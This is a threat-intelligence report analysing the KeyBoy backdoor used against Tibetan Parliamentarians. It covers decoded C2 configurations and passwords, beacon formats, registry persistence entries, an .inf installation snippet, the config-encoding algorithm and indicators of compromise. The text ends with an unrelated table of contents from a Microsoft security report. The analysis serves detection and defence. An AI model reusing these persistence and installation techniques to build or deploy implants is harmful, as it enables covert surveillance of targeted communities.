After analyzing these malware samples, we were able to decode the following configuration parameters, presented 6/25 http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-0158 https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/04/ASERT-Threat-Intelligence-Report-2016-03-The-Four-Element-Sword-Engagement.pdf http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-0158 http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-1856 https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 https://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2015-1770 https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india in Table 1 Line Description First sample Second sample Line 1 Identity code, used to ensure config was correctly decoded 9876543210 9876543210 Line 2 C2 Server 1 (hostname/ip) 45.125.12[.
]147 45.125.12[.
]147 Line 3 C2 Server 2 (hostname/ip) 103.40.102[.
]233 45.125.12[.
]147 Line 4 C2 Server 3 (hostname/ip) 45.125.12[.
]147 45.125.12[.
]147 Line 5 Port used with C2 Server 1 443 443 Line 6 Port used with C2 Server 2 443 443 Line 7 Port used with C2 Server 3 443 443 Line 8 Password for operator login tibetwoman tibetwoman Line 9 Campaign ID, transmitted to C2 during login NNNN NNNN Table 1: Decoded configuration parameters from both KeyBoy samples observed in the Parliamentarian operation A full description of the new algorithm used by KeyBoy to decode its configuration file is presented in Appendix A.
Once the KeyBoy DLL has been executed, it validates that a particular string value (likely identifying the KeyBoy version) is set in the Windows Registry.
Key First sample Second sample HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zonemap\Ver 20160509 agewkassif Additionally, these versions of KeyBoy ensure persistence by setting the wab32res.exe file to be loaded upon login via exploiting the Winlogon Shell key, which in turn loads the malicious wab32res.dll file by the aforementioned DLL search-order hijacking method.
Key Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell explorer.exe, C:\users\\AppData\Local\wab32res.exe The backdoor then sends a login beacon to the C2 server which, once decoded, looks like: 7/25 a USER-PC 192.168.100.101 NNNN 2016/09/13 16:11:56 20160509 These values are described as follows in Table 2: Value from Example Description a Data header code for initial check-in beacon USER-PC computername of victim PC 192.168.100.101 IP address of victim PC NNNN Campaign ID from the KeyBoy configuration file 2016/09/13 16:11:56 Timestamp of local PC 20160509 Internal version identifier Table 2: Descriptions of the login beacon values This login data, as well as all other communication between backdoor and command and control server, is transmitted using an encoding mechanism based on principles from modular arithmetic.
We describe this network communication encoding in detail in this supplementary document.
As can be seen in the login event example above, when sending data to the C2, the KeyBoy implant uses a series of header codes to specify the type of data which is being transmitted, described in Table 3: Header code Data being transmitted l Heartbeat / Keepalive a Initial check-in beacon s System information (drive info, system specifications, interface info) d Data from remote commands and shell f Data relating to interactions via File Manager g Ready to initiate file download h Ready to initiate file upload or update Table 3: KeyBoy header codes for sending data to the C2 server The Infrastructure 8/25 https://citizenlab.org/wp-content/uploads/2016/11/keyboy-network-comm.pdf The command and control (C2) servers used in the Tibetan Parliament operation were extracted from the KeyBoy configuration files: C2 Host: 45.125.12[.
]147 Desc: Royal Network Technology Co City: Guangzhou Country: China No relevant data or passive DNS information was available C2 Host: 103.40.102[.
]233 Desc: Dragon Network Intl Co. Ltd City: Hong Kong Country: Hong Kong Domain: tibetvoices[.
]com Host First Seen: Last Seen: 127.0.0.1 2016-09-29 Current as of publication 103.40.102[.
]233 2016-07-15 2016-09-28 112.10.117[.
]47 2016-05-25 2016-05-26 We uncovered very little information about the command and control (C2) infrastructure used in this operation.
The configuration files referenced hard-coded IP addresses for the C2 servers, as opposed to using domain names as was seen in prior KeyBoy campaigns.
Passive DNS analysis revealed one domain, tibetvoices[.
]com, which was briefly pointed to one of the C2 server IP addresses found in the KeyBoy configuration file used in the first attempt against the Parliamentarians.
This domain was created in May 2016 (around the time that the KeyBoy sample used in the first attempt was compiled) and was pointed to IP address 103.40.102[.
]233 from July 15 to September 28.
Subsequently, this domain was pointed to 127.0.0.1, effectively taking it offline.
This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco.
Cisco hypothesized that the actors behind KeyBoy may have been nullifying the DNS records when an active campaign was not underway, in an attempt to stay below the radar.
This tactic allows the malware operator to ensure that no command and control traffic will be sent out from the infected system, thus preventing detection via network monitoring.
This tactic, however plausible, would not apply to the KeyBoy samples we analyzed, as the C2 configuration relied upon hard coded IP addresses and did not directly reference the tibetvoices[.
]com domain.
It is possible that a different campaign was launched which used this domain, but we were unable to find any evidence of such a campaign.
Our analysis provides a cursory look at some of the capabilities and implementation details of the KeyBoy backdoor as used during a malware operation targeting Tibetan Parliamentarians.
These versions of KeyBoy differed from the one first described by Rapid7 in several ways, many of which will be described in the sections to follow.
During our research into this operation we were able to uncover two additional samples of KeyBoy which were likely used in previous malware campaigns.
These samples were contained in exploit documents containing distinct lure content, one having a Tibetan nexus, the other an Indian nexus.
9/25 http://blogs.cisco.com/security/scope-of-keyboy-targeted-malware-attacks In Part 2 we present a brief overview of the observable evolution of KeyBoy based upon all of the samples we obtained.
Part 2: KeyBoy  Tracking Evolution Periodic updates are common in the world of software development.
Features are added and removed, bugs are patched, and code is written to execute more efficiently.
The same holds true for malicious software, but with the additional requirement that the development cycle must always satisfy the operational need for covertness.
To be effective, malicious software designed for surveillance must remain undetected.
Malware developers are in a constant struggle to avoid the security controls that protect target systems.
We believe the 2013, 2015, and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures.
This section outlines how we came to this conclusion.
In building our KeyBoy chronology, we collected several samples and examined three data points from each: The compile time of the KeyBoy binary A string observed in the KeyBoy binary we refer to as the version identifier Elapsed time between compile time and the time of first exposure Analysis of these data points gave us a moderate to high level of confidence that the binary compile times provided a reliable estimate of the true development timeline.
An Evolving Implant In an effort to understand its evolution, we compared the code of several versions of KeyBoy as identified by their version identifier strings, shown in Table 4: Version Identifier Notes Proxy 20130401 Reported by Rapid7 in relation to an Indian nexus Proxy 20130401 Reported by Rapid7 in relation to a Vietnamese nexus P_20150313 Discovered via hunting carried Indian lure content 20151108 Discovered via hunting carried Tibetan lure content 20160509 First sample of the Parliamentarian operation from August 2016 20160509 An alternate sample, using different configuration data agewkassif Second sample of the Parliamentarian operation from October 2016 Table 4: Version identifier strings analyzed The version identifier is a particular string that appeared in every KeyBoy sample we studied.
It is transmitted to the command and control server as part of the login data packet, and, in recent versions, this identifier is written to the Windows registry in a key named Ver.
With the exception of the newest (chronologically speaking) KeyBoy version we discovered, this identifier always contained a date-like component which matched the compile date of the 10/25 Figure 5: The timeline of KeyBoys evolution KeyBoy binary in every case.
In the newest sample, the developers replaced this date-like string with a seemingly random set of letters.
A timeline depicting these KeyBoy versions, along with some important characteristics, is shown in Figure 5.
Noteworthy Modifications This section describes some of the most significant changes observed across the KeyBoy versions.
Each of these components would have been an ideal target for signature-based identification, using either static string or network packet-based detection mechanisms.
Header Code Evolution Of the changes we identified one stands out as being an immediate target for an effective antivirus signature  the evolution of header codes used during communication between the implant and command and control server.
As shown in Table 5, these codes changed substantially after the 2013 KeyBoy samples were examined and publically documented by Rapid7.
It is reasonable to hypothesize that this significant change in format was in response to the publication of Rapid7s research.
2013 Early 2015 Late 2015 2016 login l a l sysinfo s s a shell e d s 11/25 fileManager f f d fileDownload D g f fileUpload U h g h Table 5: Header codes used by KeyBoy during C2 communication In addition, modifying these codes produced a downstream change in the appearance of the network communication traffic produced by an active KeyBoy infection.
This change would likely have rendered existing network based signatures ineffective.
Configuration File Changes Another major change we first observed in version P_20150313 is the complete redesign of the algorithm used to encode the KeyBoy configuration file.
In the 2013 samples described by Rapid7, this configuration file was encoded using a simplified static-key based algorithm.
This newer encoding algorithm is significantly more involved, removing the use of a static encryption key in favour of a dynamically constructed lookup table.
We provide a detailed explanation of this new algorithm in Appendix A. Persistence Changes The method used by the implant for maintaining persistence was also changed several times.
The earlier versions used a Windows service to ensure the malware stayed persistent, moving to a more commonly seen tactic of setting the Run key in the Windows registry in the early 2015 sample.
This method changed again in late 2015 when the implant migrated from the Run key to using a less frequently observed registry key: Winlogon\Shell.
This key stores the list of executables which are to be run once a Windows GUI session is created, and typically holds only the standard user shell, explorer.exe.
String Obfuscation In another modification, first observed in the most recent October 11 Parliamentarian operation (version agewkassif), the developer(s) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware.
This introduction of string obfuscation also suggests a development change aimed at evading detection.
The header codes, filename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL.
Figure 6 shows a sampling of these strings, after decoding.
Evidence of Modularity Finally, there were numerous changes observed that could suggest that KeyBoy was being deployed using a modular or component based mechanism.
The GetUp export which is linked to the browser credential theft capability seems to be present in some samples and not others, even for versions within the same development stage.
As well, the inconsistent use of a dropper binary during infection is further evidence supporting the modular component theory.
Additional Details 12/25 Figure 6: Header code and command strings after being decoded at run-time Beyond the main modifications outlined above, numerous smaller changes were also observed, many of which are described in Table 6 below.
Version Identifier Key Changes Proxy 20130401 Persistence handled via Windows service One sample contained the GetUP export, the other did not Used full word header codes encapsulated by  symbols, such as login P_20150313 Adopts new algorithm for config file encoding Retained browser credential theft module Moved to persistence via Run key Header codes shift to -encapsulation Deployed without use of dropper binary 20151108 Continues use of new config encoding algorithm Migrated to use of WinLogon key for persistence Installation now conducted via VBS scripts Adopted multi-byte strings internally and in C2 communication Header codes move to -encapsulation 64 bit version distributed inside 32 bit payload No evidence of browser credential module Deployed using dropper binary 20160509 Continues use of new config encoding algorithm Added AutoUpdate/Upload  Execute function Deployed using dropper binary Header codes retain -encapsulation, new keep-alive code, l Execution via DLL search-order hijacking of legitimate Windows application VBS script traces still present, but no longer used No 64bit version embedded 13/25 agewkassif Functionally identical to 20160509 sample Continues use of new config encoding algorithm Removed date string from version identifier Added static string obfuscation code.
Strings used for C2 commands, header codes, and more are now decoded at runtime Table 6: Changes observed between successive versions of KeyBoy Additional technical details relating to several of the KeyBoy samples described in this section are provided in Appendix B.
Connecting KeyBoy to Other Operations In their Operation Tropic Trooper report, Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy.
Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware.
This connection may offer another explanation for the significant change in the configuration file encoding algorithm we described in relation to KeyBoy.
If KeyBoy is a single component of a larger espionage toolkit, the developers may have realized that this older, static-key based, configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite.
A Note on Samples We were not able to locate a large sample set for KeyBoy.
Though we discussed the development timeline, we have limited insight into the victims targeted by each of these samples.
We cannot conclude that all are being deployed by the same group.
We provide YARA signatures and encourage anyone who can provide additional samples or context to contact us.
Recent Tibetan Protests The harm of malware operations against the Tibetan community is well-documented, and this latest campaign is no exception.
Examining the lure content sent to the Tibetan Parliamentarians sheds light on the oppression faced by the Tibetan community.
On October 19, over 180 Tibetan groups protested the ongoing demolitions of the Larung Gar Buddhist Academy, the largest Tibetan Buddhist institute in the world.
The demolitions stem from an order issued by Chinese authorities in June 2016, according to a joint statement issued by Tibet groups on the date of protest.
According to the same joint statement, the order from Chinese authorities said the community was in need of ideological guidance from the Chinese state.
In conjunction with the demolitions, residents are being forcefully removed from Larung Gar.
To date, the forced removals have led to to the suicide of three resident nuns.
The Communist Party of China views the Tibetan movement as a threat to its rule, alongside Uyghur, Falun Gong, advocates for an independent Taiwan and Hong Kong, and members of the democracy movement.
Surveilling the highest governing body of the Central Tibetan Administration aligns with the overall interests of the government of China.
However, connecting the malware development ecosystem and the flow of stolen information to a state-actor 14/25 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf https://github.com/citizenlab/malware-indicators/blob/master/201611_KeyBoy/keyboy.yar https://targetedthreats.net/ https://freetibet.org/news-media/na/over-180-tibet-groups-condemn-larung-gar-demolitions-joint-statement http://tchrd.org/nuns-continue-suicide-protest-against-demolition-of-buddhist-institute/ is an elusive task.
With the data available we are unable to conclusively connect the Parliamentarian Operation to any specific actor or nation-state.
Conclusions Recent Citizen Lab reports have documented a trend away from the use of attachment-based malware operations targeting the Tibetan Diaspora.
These changes may reflect malware operators shifting tactics in response to changes in the community, including education campaigns encouraging Tibetans not to use email attachments, or perhaps also by more sophisticated attachment scanning by popular email providers.
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits.
These exploits, while older, were used to deliver a malware payload which shows signs of a systematic technical adaptation designed to reduce the likelihood of signature based detection.
The developers of KeyBoy have made the minimum necessary technical changes required to avoid detection by signature-based antivirus, and yet retained old exploits because they likely continue to work their targets.
For a community lacking an adequate level of human and financial resources, deployment of commercial (i.e.
: non- free) antivirus solutions, updated releases of common office productivity software, and even software patches may be out of reach.
Under such conditions, the use of exploits against older, patched, vulnerabilities becomes yet another iteration of an actor using just enough sophistication to successfully exploit a target.
The operation against the Parliamentarians yields a clear example of this tactic.
When the August operation failed to fully compromise the target group, the operators redeployed in October using a slightly newer, but still well-known and patched, exploit.
As we observe the evolution of strategies levied against the Tibetan Diaspora, the constant cat-and-mouse game embroiling this community becomes evident.
While some behavioural adaptations have shown promise in reducing the threat, the operation against the Tibetan Parliament underscores the need for continued diligence and security awareness.
Acknowledgments Special thanks to Tibet Action Institute.
Additional thanks to Jakub Dalek, PassiveTotal, VirusTotal, and TNG.
Appendix A: Decoding KeyBoy Config Recent versions of KeyBoy maintain encoded configuration data inside a file stored on disk.
In the 20160509 sample used in the Tibetan Parliament campaign, this file was named wab32res.dat.
The configuration file contains a 16 byte header followed by a number of bytes which are encoded using a novel algorithm.
The 16 byte header stores an ascii character representation of the hexadecimal values corresponding to the size (in bytes) of the decoded config data, followed by the number of bytes containing encoded configuration data.
The sample under examination contained the following header, and Figure 7 shows the raw configuration file: Size of config (in bytes) once decoded Number of bytes in encoded config 0x00 0x00 0x00 0x5B 0x00 0x00 0x00 0x4B 15/25 https://citizenlab.org/2016/03/shifting-tactics/ https://www.cybersuperhero.net/safer-file-sharing/ https://www.johnscottrailton.com/security-for-the-high-risk-user/ Figure 7: Configuration file for sample under examination Figure 8: Construction of the base lookup table The configuration file used by this malware is encoded using what appears to be a custom schema.
While some earlier versions of this backdoor used more simplified encoding techniques for the configuration data, newer versions have adopted a more involved algorithm.
At the heart of the decoding function is the use of a dynamically constructed lookup table containing sequences of bytes which represent the ASCII characters for the cleartext configuration data.
At the outset of the decoding function, a base lookup table is created containing 256 entries.
This initial table can be thought of as an identity matrix, where, for each index, the lookup table contains the index as the stored value (see: Figure 8).
For example: LookupTable[0x0]  0x0 LookupTable[0x1]  0x1  LookupTable[0xFF]  0xFF During the decoding of the configuration file, this table is expanded dynamically.
Each iteration of the algorithm will populate the lookup table sequentially, beginning with index 0x102 (since the table index 0x101 is reserved).
Algorithm Walkthrough The algorithm has three basic steps: 1.
Obtain an index by decoding a value from the configuration file 2.
Find the value in the lookup table corresponding to this index, and place this result in the memory buffer holding decoded configuration data 3.
Generate a new value and insert it into the lookup table at the next available index Step 1 This step requires the algorithm to obtain an index value from the configuration file.
In order to obtain this index, a decoding function evaluates the data in the configuration file not as successive bytes, but as a series of integers calculated by considering consecutive sequences of 9-bit binary values.
Figure 9 provides a visual representation of this process.
We can see that the first few indices being calculated by 16/25 https://citizenlab.org/wp-content/uploads/2016/11/figure_8_parliament.png Figure 9: Step 1 in KeyBoy decoding algorithm.
Indices are obtained by viewing the data in 9-bit windows this decoder are hexadecimal values 0x100, 0x39, 0x38, and 0x37.
The first value, 0x100, is a marker which denotes the beginning of the configuration data.
The values 0x39, 0x38, and 0x37 are the first three indices used to obtain data from the lookup table.
Step 2 As mentioned above, the first 256 entries in the lookup table are created as an identity matrix, and thus the result of lookups for 0x39,0x38,0x37 would be: LookupTable[ 0x39 ]  0x39  9 (ascii) LookupTable[ 0x38 ]  0x38  8 (ascii) LookupTable[ 0x37 ]  0x37  7 (ascii) These values are then stored in memory as decoded bytes of configuration data.
Step 3 After each iteration of calculating an index (step 1) and then obtaining the corresponding value from the lookup table (step 2), the algorithm will create a new entry in the lookup table at the next available index.
The format of this new lookup table entry is simply the concatenation of the results of the previous lookup with the first byte of the current lookup (see: Figure 10).
17/25 Figure 10: Steps 2  3 in the KeyBoy configuration decoding algorithm So, again using the same example bytes along with Figures 9 and 10 above, if the current iteration of the algorithm decoded the value 0x34 in step 1, and thus retrieved the value 0x34  4 in step 2, the newly formed lookup table entry would be: LookupTable[ 0x106 ]  [0x35,0x34] 54 Thus, if at some future point in the decoding process the index 0x106 was obtained in step 1, the output to the configuration data would be the two bytes [0x35,0x34] which have ascii representation 54.
This provides a method of data compression to the configuration file.
A Python script was created for the purpose of automating this configuration file decoding process.
The output of this script when run against the configuration file used by the first of the two Parliamentarian operation samples yielded the following data: 18/25 Identity Code: 9876543210 C2 Host/IP 1: 45.125.12.147 C2 Host/IP 2: 103.40.102.233 C2 Host/IP 3: 45.125.12.147 C2 Port 1: 443 C2 Port 2: 443 C2 Port 3: 443 Password: tibetwoman Campaign ID: NNNN Appendix B: KeyBoy Samples Version: P_20150313 Exploit Document: 05b5cf94f07fee666eb086c91182ad25 Payload: 0c7e55509e0b6d4277b3facf864af018 DLL Exports Embedding 0x1000bfb0 GetUP 0x1000c940 SSSS 0x1000bc60 StartWork 0x1000c570 SvcMain 0x1000c430 Installation This sample was discovered inside a malicious PowerPoint slide show which carried lure content consistent with an Indian-nexus, and which was uploaded to VirusTotal in April 2015 using the filename athirappalli.pps.
Athirappilly is a village in India known for its wildlife and waterfalls.
The visual contents of the slide show are images of waterfalls, presumably from this village.
This malicious .pps file was weaponized using (closely related to CVE- 2014-4114 aka Sandworm, which we have previously observed this exploit used against the Tibetan community) to execute the following embedded DLL: Name: SystemCertificates.ocx Size: 495616 bytes Compile Time: 13 Mar 2015 03:05:34 UTC MD5: 0c7e55509e0b6d4277b3facf864af018 SHA256: 5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596 Persistence This DLL maintains persistence by setting the following registry entry in the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key: SystemCertificates  cmd /c start Run dll32.exe APPDATA\Microsoft\SystemCertificates\SystemCertificates.ocx, SSSS This registry key is set via the Sandworm exploit, as the execution of an .inf file containing the following 19/25 https://en.wikipedia.org/wiki/Athirappilly https://citizenlab.org/2015/06/targeted-attacks-against-tibetan-and-hong-kong-groups-exploiting-cve-2014-4114/ instructions are triggered: [DefaultInstall] CopyFiles RxCopy AddReg  RxStart [RxCopy] ..\..\Roaming\Microsoft\SystemCertificates\SystemCertificates.ocx, contact.pdf [RxStart] HKCU,Software\Microsoft\Windows\CurrentVersion\Run,SystemCertificates,,cmd /c start Rundll32.exe APPDATA\Microsoft\SystemCertificates\SystemCertificates.ocx, SSSS In comparison with the prior generation of KeyBoy examined by Rapid7, this mechanism represents a change to registry based persistence from the previously used Windows service.
Configuration Using the algorithm presented in Appendix A, we were able to decode the configuration file used by this sample.
Once decoded, the following information was obtained: Identity Code: IJUDHSDJFKJDE C2 Host/IP 1: www.about.jkub[.
]com C2 Host/IP 2: www.eleven.mypop3[.
]org C2 Host/IP 3: www.backus.myftp[.
]name C2 Port 1:80 C2 Port 2:80 C2 Port 3:443 Password:wariii Campaign ID:war Infrastructure C2 Host: www.about.jkub[.
]com Desc: Dynamic DNS provided by changeip.com Host First Seen: Last Seen: 175.213.49[.
]6 2016-10-25 Current as of publication 45.32.47[.
]148 2016-09-26 2016-10-24 157.7.84[.
]81 2015-04-07 2015-04-21 20/25 C2 Host: www.eleven.mypop3[.
]org Desc: Dynamic DNS provided by changeip.com Host First Seen: Last Seen: 175.213.49[.
]6 2016-10-25 Current as of publication 45.32.47[.
]148 2016-09-26 2016-10-24 C2 Host: www.backus.myftp[.
]name Desc: Dynamic DNS Host First Seen: Last Seen: 192.241.149[.
]43 2015-05-05 Current as of publication Version: 20151108 Exploit Document: 8846d109b457a2ee44ddbf54d1cf7944 Dropper: 8846d109b457a2ee44ddbf54d1cf7944 Payload: c5b5f01ba24d6c02636388809f44472e Embedded 64bit: 371bc132499f455f06fa80696db0df27 Payload DLL Exports Install 0x100085a0 SSSS 0x100081e0 StartWork 0x100086a0 SvcMain 0x10008fb0 cfsUpdate 0x10008cb0 Installation This .rtf document, also exploiting CVE-2012-0158, was submitted to VirusTotal in March 2016.
The exploit triggers the execution of an embedded dropper, similar to the method observed in our initial sample described in Part 1.
This dropper creates three files on disk, each in the localappdata folder: 1.
cfs.dat  KeyBoy configuration file 2.
cfsupdate.dal  KeyBoy payload DLL 3.
desk.vbs  Windows script used for installation The Windows script file, desk.vbs, contained the following content: 21/25 https://virustotal.com/en/file/ba442907f3218c8664bbecb47f915c4469340219e0f05af8f2d108d72659ff0f/analysis/ The dropper executes this script file which subsequently launches the KeyBoy backdoor and sets persistence as described below.
Also noteworthy in this sample was the fact that this payload inspected the architecture of the victim PC to determine if it was 64 bit capable.
If so, a 64 bit version of the payload was decoded from the data section of the cfsupdate.dat file using an XOR operation having key 0x90.
This is very similar to the method described by Trend Micro in their report on the TROJ_YAHOYAH malware.
Interestingly, the 64-bit module was packed using a known freeware binary packer.
This is in contrast to the 32-bit versions of KeyBoy, none of which contained any binary protections whatsoever.
Upon unpacking, the 64-bit version of this KeyBoy code was functionally identical to the 32-bit version.
Leftover Code Further illustrating the continued development and connections between samples are the leftover remnants from 20151108 existing in the 20160509 Parliamentarian sample.
The Parliamentarian dropper contained references to the Desk.vbs script described above, yet this file and related content was not deployed or otherwise used in the 20160509 version.
Persistence Persistence is achieved through the WinLogon\Shell registry key, and is installed by the droppers execution of the Install export from the KeyBoy DLL.
This export creates the file localappdata\Desktop.ini as shown below, and installs it by launching the Windows regini.exe command: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon shell  explorer.exe,C:\Windows\system32\rundll32.exe LOCALAPPDATA\cfs.dal cfsUpdate Configuration The configuration file used by this version of KeyBoy is written to disk aslocalappdata\cfs.dat by the dropper, similar to the behaviour of our 20160509 sample.
This configuration file uses the newer encoding method outlined above and in Appendix A.
Once decoded, the following information was obtained: 22/25 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf Identity Code: 9876543210 C2 Host/IP 1: 103.242.134[.
]243 C2 Host/IP 2: 103.242.134[.
]243 C2 Host/IP 3: 103.242.134[.
]243 C2 Port 1: 443 C2 Port 2: 1234 C2 Port 3: 1234 Password: password8888 Campaign ID: MyUser Possible Targeting This malicious document embedded an empty decoy document to hide the exploitation of the vulnerability.
We found however another interesting sample with the exact same payload but with a decoy document presenting a petition to release a Tibetan activist: Infrastructure This sample communicates with the following command and control server: C2 Host: 103.242.134[.
]243 City: Hanshan Country: China Version: 20160509 (alternate) Exploit Document: beadf21b923600554b0ce54df42e78f5 Dropper: 0b4d45db323f68b465ae052d3a872068 23/25 https://malwr.com/analysis/MmZjNjMyZjYxNWRiNDJhYzg0YzY5ZTQxYjYxNWM2NDE/ Payload: 495adb1b9777002ecfe22aaf52fcee93 Payload DLL Exports SSSS 0x100080b0 SvcMain 0x10008b80 cfsUpdate 0x10008880 During our research we encountered another sample of the 20160509 version of KeyBoy.
This sample was also found to be deployed using the CVE-2012-0158 vulnerability.
The malware payload was identical to our first Parliamentary sample outlined in Part 1, however the configuration file in this alternate sample was different.
Configuration Identity Code: 9876543210 C2 Host/IP 1: 116.193.154[.
]69 C2 Host/IP 2: 116.193.154[.
]69 C2 Host/IP 3: 116.193.154[.
]69 C2 Port 1:443 C2 Port 2:80 C2 Port 3:443 Password:8888 Campaign ID:8888 Possible Targeting The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched.
This decoy carries content with a Tibetan nexus.
Infrastructure C2 Host: 116.193.154[.
]69 CNAME: 116-193-154- 69.pacswitch.net Appendix D: IOCs and Links KeyBoy binaries agewkassif: 087bffa8a570079948310dc9731c5709 20160509: 495adb1b9777002ecfe22aaf52fcee93 P_20150313: 0c7e55509e0b6d4277b3facf864af018 20151108 (32bit): c5b5f01ba24d6c02636388809f44472e 20151108 (64bit): 371bc132499f455f06fa80696db0df27 Droppers 24/25 0b4d45db323f68b465ae052d3a872068 23d284245e53ae4fe05c517d807ffccf 98977426d544bd145979f65f0322ae30 Exploit Documents 8307e444cad98b1b59568ad2eba5f201 (used in August Parliamentary campaign) 913b82ff8f090670fc6387e3a7bea12d (used in October Parliamentary campaign) 05b5cf94f07fee666eb086c91182ad25 8846d109b457a2ee44ddbf54d1cf7944 beadf21b923600554b0ce54df42e78f5 C2 Hosts www.about.jkub[.
]com www.eleven.mypop3[.
]org www.backus.myftp[.
]name tibetvoices[.
]com 103.242.134[.
]243 116.193.154[.
]69 103.40.102[.
]233 45.125.12[.
]147 Resources Keyboy Network Communication Encoding Details Configuration File Decoder C2 Decoder YARA Signatures Indicators of Compromise 25/25 https://citizenlab.org/wp-content/uploads/2016/11/keyboy-network-comm.pdf https://github.com/citizenlab/malware-indicators/blob/master/201611_KeyBoy/kb_configDecode.py https://github.com/citizenlab/malware-indicators/blob/master/201611_KeyBoy/kb_c2Decode.py https://github.com/citizenlab/malware-indicators/tree/master/201611_KeyBoy https://github.com/citizenlab/malware-indicators/tree/master/201611_KeyBoy Its Parliamentary: KeyBoy and the targeting of the Tibetan Community Key Findings Introduction Part 1: The Parliamentarian Operation Attempt 1 The Infection Chain Attempt 2 The Infection Chain A Note on Vulnerabilities The Malware The Infrastructure Part 2: KeyBoy  Tracking Evolution An Evolving Implant Noteworthy Modifications Header Code Evolution Configuration File Changes Persistence Changes String Obfuscation Evidence of Modularity Additional Details Connecting KeyBoy to Other Operations A Note on Samples Recent Tibetan Protests Conclusions Acknowledgments Appendix A: Decoding KeyBoy Config Algorithm Walkthrough Step 1 Step 2 Step 3 Appendix B: KeyBoy Samples Version: P_20150313 Installation Persistence Configuration Infrastructure Version: 20151108 Installation Leftover Code Persistence Configuration Possible Targeting Infrastructure Version: 20160509 (alternate) Configuration Possible Targeting Infrastructure Appendix D: IOCs and Links Resources
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ii ABOUT THIS REPORT Authors Charlie Anthe Cloud and Enterprise Security Patti Chrzan Microsoft Digital Crimes Unit Elia Florio Microsoft Malware Protection Center Chad Foster Bing Paul Henry Wadeware LLC Jeff Jones Corporate Communications Nam Ng Worldwide Cybersecurity Data Protection Niall OSullivan Microsoft Digital Crimes Unit Daryl Pecelj Microsoft IT Information Security and Risk Management Anthony Penta Safety Platform Ina Ragragio Microsoft Malware Protection Center Tim Rains Worldwide Cybersecurity Data Protection Paul Rebriy Bing Contributors Peter Cap Microsoft Malware Protection Center Bulent Egilmez Office 365 - Information Protection Tanmay  Ganacharya Microsoft Malware Protection Center Kathryn Gillespie Microsoft IT Jeff Glover Microsoft IT Roger Grimes Microsoft IT Satomi Hayakawa CSS Japan Security Response Team Ben Hope Microsoft Malware Protection Center Yurika Kakiuchi CSS Japan Security Response Team Jenn LeMond Microsoft IT Alisha Mark Corporate Communications Dolcita Montemayor Microsoft Malware Protection Center Daric Morton Microsoft Services Jeong Mun Microsoft Malware Protection Center Cody Nicewanner Operating Systems Group Wendi Okun Legal  Corporate Affairs Ferdinand Plazo Microsoft Malware Protection Center Laura A. Robinson Microsoft IT Norie Tamura CSS Japan Security Response Team Steve Wacker Wadeware LLC Vladimir Zubko Microsoft Malware Protection Center MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   iii Table of contents About this report .......................................................................................................................... v Foreword ........................................................................................................................................ vi Featured intelligence 1 STRONTIUM: A profile of a persistent and motivated adversary .................................. 3 Adversary profile ............................................................................................................................... 3 How STRONTIUM attacks a target ............................................................................................... 4 Establishing control .......................................................................................................................... 10 Taking action ..................................................................................................................................... 13 Guidance ............................................................................................................................................. 16 Focus on Brazil: Win32/Banload and Banking Malware ................................................ 21 Distribution and trends ................................................................................................................... 21 Propagation and technical details .............................................................................................. 23 Guidance ............................................................................................................................................ 26 Worldwide threat assessment 29 Vulnerabilities .............................................................................................................................. 31 Industry-wide vulnerability disclosures ...................................................................................... 31 Vulnerability severity ...................................................................................................................... 33 Vulnerability complexity ................................................................................................................ 34 Operating system, browser, and application vulnerabilities................................................ 35 Microsoft vulnerability disclosures .............................................................................................. 37 Guidance: Developing secure software .................................................................................... 38 Exploits ........................................................................................................................................... 40 Exploit families .................................................................................................................................. 42 Exploit kits .......................................................................................................................................... 44 Java exploits ...................................................................................................................................... 47 Operating system exploits ............................................................................................................ 50 Document exploits .......................................................................................................................... 52 Adobe Flash Player exploits .......................................................................................................... 52 Browser exploits ............................................................................................................................... 53 Exploit detection with Internet Explorer and IExtensionValidation .................................... 55 Exploits used in targeted attacks ................................................................................................. 56 iv ABOUT THIS REPORT Malware and unwanted software ......................................................................................... 58 Brantall, Rotbrow, and Filcout...................................................................................................... 60 Malware and unwanted software worldwide .......................................................................... 60 Microsoft and partners disrupt the Simda.
AT botnet ........................................................... 68 Threat categories ............................................................................................................................ 69 Threat families .................................................................................................................................. 74 Home and enterprise threats ....................................................................................................... 82 Security software use ..................................................................................................................... 87 Advanced Threat Protection takes malware defense to the next level ............................ 94 Guidance: Defending against malware ..................................................................................... 98 Malicious websites..................................................................................................................... 99 Phishing sites ...................................................................................................................................100 Malware hosting sites ...................................................................................................................103 Drive-by download sites ..............................................................................................................105 Guidance: Protecting users from unsafe websites ................................................................108 Mitigating risk 109 Malware at Microsoft: Dealing with threats in the Microsoft environment ........... 111 Antimalware usage ......................................................................................................................... 111 Malware detections ....................................................................................................................... 